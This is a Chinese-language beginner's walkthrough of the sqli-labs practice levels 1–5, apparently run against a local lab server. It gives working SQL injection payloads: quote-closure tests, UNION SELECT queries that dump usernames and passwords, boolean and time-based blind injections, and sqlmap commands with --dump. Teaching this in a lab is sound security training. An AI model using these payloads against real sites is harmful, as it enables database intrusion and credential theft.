sqli-labs(1-5)详解,最详细小白必看

sqli-labs(1-5)详解

    • 1 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
    • 2 GET - Error based - Intiger based (基于错误的GET整型注入)
    • 3 Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
    • 4 Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
    • 5 Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

1 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

1.输入http://192.168.67.134/sqli/Less-1/?id=1’
我们发现返回you have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
sqli-labs(1-5)详解,最详细小白必看_第1张图片
2.进行分析
输入的是1’
返回的是 ‘‘1’’ LIMIT 0,1’
猜测出它是 ’ id ’ 闭合的
验证猜测,成功闭合并完成注释
在这里我们就发现找到闭合很重要,之后的操作都差不多。

使用http://192.168.67.134/sqli/Less-1/?id=1' --+

sqli-labs(1-5)详解,最详细小白必看_第2张图片3.使用order by对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3 --+,超过 3 就会报错。
猜测出它有三列数据。

使用http://192.168.67.134/sqli/Less-1/?id=1' order by 1--+

sqli-labs(1-5)详解,最详细小白必看_第3张图片4.使用基于报错的union联合查询,查看当前数据库用户和数据库名称,因为需要数据库报错使用的id=0。

使用http://192.168.67.134/sqli/Less-1/?id=0' union select 1,user(),database() --+

sqli-labs(1-5)详解,最详细小白必看_第4张图片5.查询数据库表名

使用http://192.168.67.134/sqli/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

sqli-labs(1-5)详解,最详细小白必看_第5张图片6.查询字段名

使用http://192.168.67.134/sqli/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

sqli-labs(1-5)详解,最详细小白必看_第6张图片7.查询字段的值

使用http://192.168.67.134/sqli/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+

sqli-labs(1-5)详解,最详细小白必看_第7张图片使用sqlmap自动注入
1.sqlmap -u “注入点url”

sqlmap -u "http://192.168.67.134/sqli/Less-1/?id=1"  

sqli-labs(1-5)详解,最详细小白必看_第8张图片

发现存在多种sql注入漏洞
sqli-labs(1-5)详解,最详细小白必看_第9张图片2.获取当前数据库名称security

使用sqlmap -u "http://192.168.67.134/sqli/Less-1/?id=1" --current-db

sqli-labs(1-5)详解,最详细小白必看_第10张图片3.获取当前数据库表名 emails referers uagents users

使用sqlmap -u "http://192.168.67.134/sqli/Less-1/?id=1" -D security --tables

sqli-labs(1-5)详解,最详细小白必看_第11张图片 4.获取users表中的字段名password username

使用sqlmap -u "http://192.168.67.134/sqli/Less-1/?id=1" -D security -T users --columns  

sqli-labs(1-5)详解,最详细小白必看_第12张图片
5.获取当前表中的字段username,password的值

使用 sqlmap -u "http://192.168.67.134/sqli/Less-1/?id=1" -D security -T users -C username,password --dump

sqli-labs(1-5)详解,最详细小白必看_第13张图片

2 GET - Error based - Intiger based (基于错误的GET整型注入)

1.输入http://192.168.67.134/sqli/Less-2/?id=1’
我们发现返回来You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
sqli-labs(1-5)详解,最详细小白必看_第14张图片
2.进行分析
输入的是1’
返回的是’’ LIMIT 0,1’
因此我们猜测它是没有使用闭合,查询代码使用了整数。
在这里我们就发现找到闭合很重要,之后的操作都差不多。
3.使用order by对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。
猜测出它有三列数据。

使用http://192.168.67.134/sqli/Less-2/?id=1 order by 4 --+

sqli-labs(1-5)详解,最详细小白必看_第15张图片4.使用基于报错的union联合查询,查看当前数据库用户和数据库名称,因为需要数据库报错使用的id=0。

使用http://192.168.67.134/sqli/Less-2/?id=0 union select 1,2,3 --+

sqli-labs(1-5)详解,最详细小白必看_第16张图片

使用http://192.168.67.134/sqli/Less-2/?id=0 union select 1,user(),database() --+

sqli-labs(1-5)详解,最详细小白必看_第17张图片 之后的操作和Less-1一样,一步步爆出用户名和密码,只不过闭合报错的条件改变了。
使用sqlmap自动注入
sqlmap -u “注入点url”,只是注入点url改变了。

sqlmap -u "http://192.168.67.134/sqli/Less-2/?id=1"  

之后的操作和Less-1一样,一步步爆出用户名和密码。

3 Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

1.输入http://192.168.67.134/sqli/Less-3/?id=1’
我们发现返回You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘2’’) LIMIT 0,1’ at line 1
sqli-labs(1-5)详解,最详细小白必看_第18张图片
2.进行分析
输入的是2’
返回的是 ‘‘2’’) LIMIT 0,1’
猜测出它是 ( ’ id ’ ) 闭合的
验证猜测,成功闭合并完成注释
在这里我们就发现找到闭合很重要,之后的操作都差不多。

使用http://192.168.67.134/sqli/Less-3/?id=2') --+

sqli-labs(1-5)详解,最详细小白必看_第19张图片3.使用order by对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3 --+,超过 3 就会报错。
猜测出它有三列数据。

使用http://192.168.67.134/sqli/Less-3/?id=1') order by 1--+

sqli-labs(1-5)详解,最详细小白必看_第20张图片4.使用基于报错的union联合查询,查看当前数据库用户和数据库名称,因为需要数据库报错使用的id=0。

http://192.168.67.134/sqli/Less-3/?id=0') union select 1,user(),database() --+

sqli-labs(1-5)详解,最详细小白必看_第21张图片之后的操作和Less-1一样,一步步爆出用户名和密码,只不过闭合报错的条件改变了。
使用sqlmap自动注入
sqlmap -u “注入点url”,只是注入点url改变了。

sqlmap -u "http://192.168.67.134/sqli/Less-3/?id=1"  

之后的操作和Less-1一样,一步步爆出用户名和密码。

4 Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

1.输入http://192.168.67.134/sqli/Less-4/?id=1’,发现没有反应,有可能 ’ 被过滤掉了。
输入http://192.168.67.134/sqli/Less-4/?id=1\,就是要多尝试几个把不同的。
我们发现返回You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1”) LIMIT 0,1’ at line 1
sqli-labs(1-5)详解,最详细小白必看_第22张图片2.进行分析
输入的是1
返回的是’“1”) LIMIT 0,1’
猜测出它是(" id " ) 闭合的
验证猜测,成功闭合并完成注释
在这里我们就发现找到闭合很重要,之后的操作都差不多。

使用http://192.168.67.134/sqli/Less-4/?id=2") --+

sqli-labs(1-5)详解,最详细小白必看_第23张图片3.使用order by对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3 --+,超过 3 就会报错。
猜测出它有三列数据。

使用http://192.168.67.134/sqli/Less-4/?id=1") order by 4--+

sqli-labs(1-5)详解,最详细小白必看_第24张图片4.使用基于报错的union联合查询,查看当前数据库用户和数据库名称,因为需要数据库报错使用的id=0。

http://192.168.67.134/sqli/Less-4/?id=0") union select 1,2,3 --+

sqli-labs(1-5)详解,最详细小白必看_第25张图片

http://192.168.67.134/sqli/Less-4/?id=0") union select 1,user(),database() --+

sqli-labs(1-5)详解,最详细小白必看_第26张图片之后的操作和Less-1一样,一步步爆出用户名和密码,只不过闭合报错的条件改变了。
使用sqlmap自动注入
sqlmap -u “注入点url”,只是注入点url改变了。

sqlmap -u "http://192.168.67.134/sqli/Less-4/?id=1"  

之后的操作和Less-1一样,一步步爆出用户名和密码。

5 Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

1.输入http://192.168.67.134/sqli/Less-5/?id=1
我们发现结果正确的时候只返回 you are in…,不会返回数据库当中的信息了
sqli-labs(1-5)详解,最详细小白必看_第27张图片2.进行分析

使用http://192.168.67.134/sqli/Less-5/?id=1' --+

sqli-labs(1-5)详解,最详细小白必看_第28张图片闭合正常,显示正确You are in…
如果看到这样的信息,首先想到的就是程序已经禁止了数据库信息的返回显示。这是我们就要尝试进行盲注,可以尝试布尔型盲注、报错注入、时间延迟型盲注。这类型手工注入工程量很大,所以建议大家使用sqlmap,直接利用工具进行注入。
A布尔型盲注
利用 left(database(),1)进行尝试猜测

http://192.168.67.134/sqli/Less-5/?id=1' and left(version(),1)=5 --+

查看一下 version(),数据库的版本号为 5.7.26,这里的语句的意思是看版本号的第一位是 不是 5,明显的返回的结果是正确的。
sqli-labs(1-5)详解,最详细小白必看_第29张图片当版本号不正确的时候,则不能正确显示 you are in…
sqli-labs(1-5)详解,最详细小白必看_第30张图片根据是否返回正确判断数据库信息,大概原理就是这样,这类型注入工程量很大。
B时间延迟型盲注

http://192.168.67.134/sqli/Less-5/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

sqli-labs(1-5)详解,最详细小白必看_第31张图片

http://192.168.67.134/sqli/Less-5/?id=1' and If(ascii(substr(database(),1,1))=105,1,sleep(5))--+

错误时我们发现时间延迟了5秒
sqli-labs(1-5)详解,最详细小白必看_第32张图片根据是否延迟判断数据库信息,大概原理就是这样,这类型注入工程量很大。
使用sqlmap自动注入
sqlmap -u “注入点url”,只是注入点url改变了。

sqlmap -u "http://192.168.67.134/sqli/Less-5/?id=1"  

使用sqlmap就跑出来存在布尔型盲注、报错注入、时间延迟型盲注。所以学会使用工具很重要。
sqli-labs(1-5)详解,最详细小白必看_第33张图片之后的操作和Less-1一样,一步步爆出用户名和密码。

你可能感兴趣的:(安全,数据库,mysql,github,php)